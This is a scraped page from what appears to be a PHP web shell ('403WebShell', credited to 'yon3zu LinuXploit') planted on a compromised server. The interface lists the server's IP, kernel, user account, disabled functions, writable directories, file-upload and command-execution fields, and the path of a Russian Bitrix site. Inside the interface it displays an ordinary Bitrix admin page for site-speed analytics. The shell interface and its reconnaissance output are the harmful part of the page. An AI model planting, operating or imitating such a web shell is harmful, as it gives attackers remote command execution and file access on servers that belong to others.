%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 52.15.130.113
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/admin/site_speed.php
<?
/**
 * @global CUser $USER
 * @global CMain $APPLICATION
 */
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/prolog.php");
define("HELP_FILE", "settings/site_speed.php");

use Bitrix\Main;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Analytics;

Loc::loadMessages(__FILE__);

if (!$USER->CanDoOperation("view_other_settings") || !Analytics\SiteSpeed::isOn())
{
	$APPLICATION->AuthForm(Loc::getMessage("ACCESS_DENIED"));
}

CJSCore::Init(array("site_speed", "date"));
$APPLICATION->SetAdditionalCSS("/bitrix/panel/main/site_speed.css");
$APPLICATION->SetTitle(Loc::getMessage("MAIN_SITE_SPEED_TITLE"));
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");

// lang for external map js inside iframe
$mapIframeLangKeys = array(
	"MAIN_SITE_SPEED_MAP_EXT_VALUE_1",
	"MAIN_SITE_SPEED_MAP_EXT_VALUE_2",
	"MAIN_SITE_SPEED_MAP_EXT_VDOTS_1",
	"MAIN_SITE_SPEED_MAP_EXT_VDOTS_2",
	"MAIN_SITE_SPEED_MAP_EXT_HITS_1",
	"MAIN_SITE_SPEED_MAP_EXT_HITS_2",
	"MAIN_SITE_SPEED_MAP_EXT_MARK_1",
	"MAIN_SITE_SPEED_MAP_EXT_MARK_2",
	"MAIN_SITE_SPEED_MAP_EXT_MARK_3",
	"MAIN_SITE_SPEED_MAP_EXT_MARK_4",
	"MAIN_SITE_SPEED_MAP_EXT_MARK_5",
	"MAIN_SITE_SPEED_MAP_EXT_HINT_SPEED",
	"MAIN_SITE_SPEED_MAP_EXT_HINT_COMPOSITE",
	"MAIN_SITE_SPEED_MAP_EXT_HINT_HITS"
);

$mapIframeLang = array();

foreach ($mapIframeLangKeys as $key)
{
	$mapIframeLang[$key] = Loc::getMessage($key);
}


?>

<div class="site-speed-page">
	<?
		$currentHost = preg_replace("/:(80|443)$/", "", $_SERVER["HTTP_HOST"]);
		$currentHost = htmlspecialcharsbx($currentHost);
		$currentHostTitle = htmlspecialcharsbx(\CBXPunycode::ToUnicode($currentHost, $errors));
	?>
	<div class="site-speed-domains">
		<span class="site-speed-domains-label"><?=Loc::getMessage("MAIN_SITE_SPEED_DOMAINS_LABEL")?></span>
		<select class="site-speed-domains-select" id="site-speed-domains">
			<option value="<?=$currentHost?>"><?=$currentHostTitle?></option>
		</select>
		<span class="site-speed-loading" id="site-speed-loading"></span>
		<span class="site-speed-error" id="site-speed-error"></span>
	</div>

	<div class="site-speed-analytics" id="site-speed-analytics">

		<div class="site-speed-indicator-block" id="site-speed-indicator-block">
			<div class="site-speed-index">
				<span class="site-speed-index-label"><?=Loc::getMessage("MAIN_SITE_SPEED_TITLE")?>:</span>
				<span class="site-speed-index-value" id="site-speed-index"></span>
			</div>

			<div class="site-speed-indicator" id="indicator"></div>

			<div class="site-speed-stat">
				<div class="site-speed-stat-item">
					<span class="site-speed-stat-label"><?=Loc::getMessage("MAIN_SITE_SPEED_HITS_LABEL")?>:</span>
					<span class="site-speed-stat-value" id="site-speed-hits"></span>
				</div>
				<div class="site-speed-stat-item">
					<span class="site-speed-stat-label"><?=Loc::getMessage("MAIN_SITE_SPEED_PERIOD_LABEL")?>:</span>
					<span class="site-speed-stat-value" id="site-speed-date"></span>
				</div>
				<div class="site-speed-stat-item">
					<span class="site-speed-stat-label"><?=Loc::getMessage("MAIN_SITE_SPEED_COMPOSITE_HITS")?>:</span>
					<span class="site-speed-stat-value" id="site-speed-composite"></span>
				</div>
			</div>

			<div class="site-speed-explanation">
				<b><?=Loc::getMessage("MAIN_SITE_SPEED_TITLE")?></b> &mdash; <?=Loc::getMessage("MAIN_SITE_SPEED_TITLE_DESC")?>
			</div>

			<div class="site-speed-perf" id="site-speed-perf">
				<?
				if (\Bitrix\Main\ModuleManager::isModuleInstalled("perfmon")):
					$mark = (double)COption::GetOptionString("perfmon", "mark_php_page_rate", "");
				?>
					<a href="/bitrix/admin/perfmon_panel.php?lang=<?=LANGUAGE_ID?>" class="site-speed-perf-label"><?=Loc::getMessage("MAIN_SITE_SPEED_PERF")?></a>:<span class="site-speed-perf-value"><?if ($mark > 0):?><?=$mark?><?else:?><?=Loc::getMessage("MAIN_SITE_SPEED_PERF_NO_RES")?><?endif?></span>
				<?endif?>

				<?
					$compositeStatus = \Bitrix\Main\Composite\Helper::isCompositeEnabled() ? Loc::getMessage("MAIN_SITE_SPEED_ENABLED") : Loc::getMessage("MAIN_SITE_SPEED_DISABLED");
				?>
				<a href="/bitrix/admin/composite.php?lang=<?=LANGUAGE_ID?>" class="site-speed-perf-label"><?=Loc::getMessage("MAIN_SITE_SPEED_COMPOSITE_SITE")?></a>:<span class="site-speed-perf-value"><?=$compositeStatus?></span>
				<?

				if (\Bitrix\Main\Loader::includeModule("bitrixcloud")):
					$cdnStatus = CBitrixCloudCDN::IsActive() ? Loc::getMessage("MAIN_SITE_SPEED_ENABLED") : Loc::getMessage("MAIN_SITE_SPEED_DISABLED");
				?>
				<a href="/bitrix/admin/bitrixcloud_cdn.php?lang=<?=LANGUAGE_ID?>" class="site-speed-perf-label"><?=Loc::getMessage("MAIN_SITE_SPEED_CDN")?></a>:<span class="site-speed-perf-value"><?=$cdnStatus?></span>
				<?endif?>
			</div>
		</div>

		<div class="site-speed-indicator-block">
			<h1 class="adm-title"><?=Loc::getMessage("MAIN_SITE_SPEED_MAP_TITLE")?></h1>
			<iframe id="site-speed-clients-map" scrolling="no" width="100%" height="400"
				style="overflow: hidden; padding: 0; margin: 0; border: 0px"
				marginheight="0" marginwidth="0" frameborder="0"
				name="<?=htmlspecialcharsbx(\Bitrix\Main\Web\Json::encode($mapIframeLang))?>"
			></iframe>
		</div>

		<div class="site-speed-histogram-block" id="site-speed-histogram-block">
			<h1 class="adm-title"><?=Loc::getMessage("MAIN_SITE_SPEED_HISTO_TITLE")?></h1>
			<div class="site-speed-histogram" id="histogram"></div>
		</div>

		<div class="site-speed-graph-block" id="site-speed-graph-block">
			<h1 class="adm-title"><?=Loc::getMessage("MAIN_SITE_SPEED_GRAPH_TITLE")?></h1>
			<div class="site-speed-graph" id="graph"></div>
		</div>

		<?=BeginNote();?><?=Loc::getMessage("MAIN_SITE_SPEED_NOTES")?><?=EndNote();?>
	</div>

</div>

<script type="text/javascript">

(function() {
	"use strict";
	var siteSpeed = new BX.Main.SiteSpeed("<?=CUtil::JSEscape(Analytics\Counter::getPrivateKey())?>", "<?=CUtil::JSEscape(Analytics\Counter::getAccountId())?>");

	BX.ready(function() {
		BX.bind(BX("site-speed-domains"), "change", drawStatForCurrentHost);
		drawStatForCurrentHost();
	});

	function drawStat(host)
	{
		var lastHitsData = null;
		var histoLoaded = false;
		var graphLoaded = false;

		siteSpeed.getHistoData(
			host,
			function(data) {

				fillDomains(data.domains, data.domains_utf8);

				if (data && data.result !== false)
				{
					var composite = BX.type.isNumber(data.compositeHits) ? data.compositeHits : 0;
					var hits = BX.type.isNumber(data.cnt) ? data.cnt : 0;
					var inverval = siteSpeed.getInverval(data["p50"]);

					BX("site-speed-index").innerHTML = inverval.title +
						" (" + BX.Main.SiteSpeed.formatMilliseconds(data["p50"]) +
						" <?=CUtil::JSEscape(Loc::getMessage("MAIN_SITE_SPEED_SECONDS"))?>)";
					BX("site-speed-hits").innerHTML = hits;
					BX("site-speed-composite").innerHTML = composite + " (" + (composite/hits * 100).toFixed(1)+ "%)";

					var startDate = BX.date.format("j F H:i", BX.date.getNewDate(data["firstHitTs"]));
					var endDate = BX.date.format("j F H:i", BX.date.getNewDate(data["lastHitTs"]));
					BX("site-speed-date").innerHTML = startDate + " - " + endDate;

					BX("site-speed-analytics").style.display = "block";
					BX("site-speed-loading").style.display = "none";

					siteSpeed.drawIndicator(data, "indicator");
					siteSpeed.drawHisto(data, "histogram");

					histoLoaded = true;

					drawGraph();
				}
				else
				{
					var error = "<?=CUtil::JSEscape(Loc::getMessage("MAIN_SITE_SPEED_DOMAIN_NOT_FOUND"))?>";
					if (BX.type.isArray(data.domains) && data.domains.length > 0)
					{
						error += " " + "<?=CUtil::JSEscape(Loc::getMessage("MAIN_SITE_SPEED_CHOOSE_DOMAIN"))?>"
					}

					showError(error);
				}
			},

			function() {
				showError("<?=CUtil::JSEscape(Loc::getMessage("MAIN_SITE_SPEED_CONNECTION_ERROR"))?>");
			}
		);

		siteSpeed.getLastHits(
			host,
			function(data) {
				lastHitsData = data;
				drawGraph();
			},
			function() {

			}
		);

		BX('site-speed-clients-map').src = "https://analytics.bitrix.info/cstats/v1_0/maps_client/index.php?"
			+ "aid=<?=Analytics\Counter::getAccountId()?>"
			+ "&aid_check=<?=Analytics\Counter::getPrivateKey()?>"
			+ "&domain=" + host
			+ "&hit_param=dom_int_time&mode=value";

		function drawGraph()
		{
			if (
				BX.type.isArray(lastHitsData) &&
				lastHitsData.length > 0 &&
				graphLoaded === false &&
				histoLoaded === true
			)
			{
				graphLoaded = true;
				BX("site-speed-graph-block").style.display = "block";
				siteSpeed.drawGraph(lastHitsData, "graph");
			}
		}
	}

	function showError(text)
	{
		BX("site-speed-loading").style.display = "none";
		BX("site-speed-error").innerHTML = text;
	}

	function drawStatForCurrentHost()
	{
		if (BX("site-speed-domains").selectedIndex !== 0)
		{
			BX("site-speed-perf").style.display = "none";
		}
		else
		{
			BX("site-speed-perf").style.display = "block";
		}

		BX("site-speed-analytics").style.display = "none";
		BX("site-speed-loading").style.cssText = "";
		BX("site-speed-graph-block").style.cssText = "";
		BX("site-speed-error").innerHTML = "";

		drawStat(BX("site-speed-domains").value);
	}

	function fillDomains(domains, domainsUtf)
	{
		if (!BX.type.isArray(domains))
		{
			return;
		}

		var select = BX("site-speed-domains");
		if (!select || select.domainsLoaded === true)
		{
			return;
		}

		for (var i = 0; i < domains.length; i++)
		{
			var title = BX.type.isNotEmptyString(domainsUtf[domains[i]]) ? domainsUtf[domains[i]] : domains[i];
			select.options[i+1] = new Option(title, domains[i]);
		}

		select.domainsLoaded = true;
	}

})();

</script>


<?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");?>

Youez - 2016 - github.com/yon3zu
LinuXploit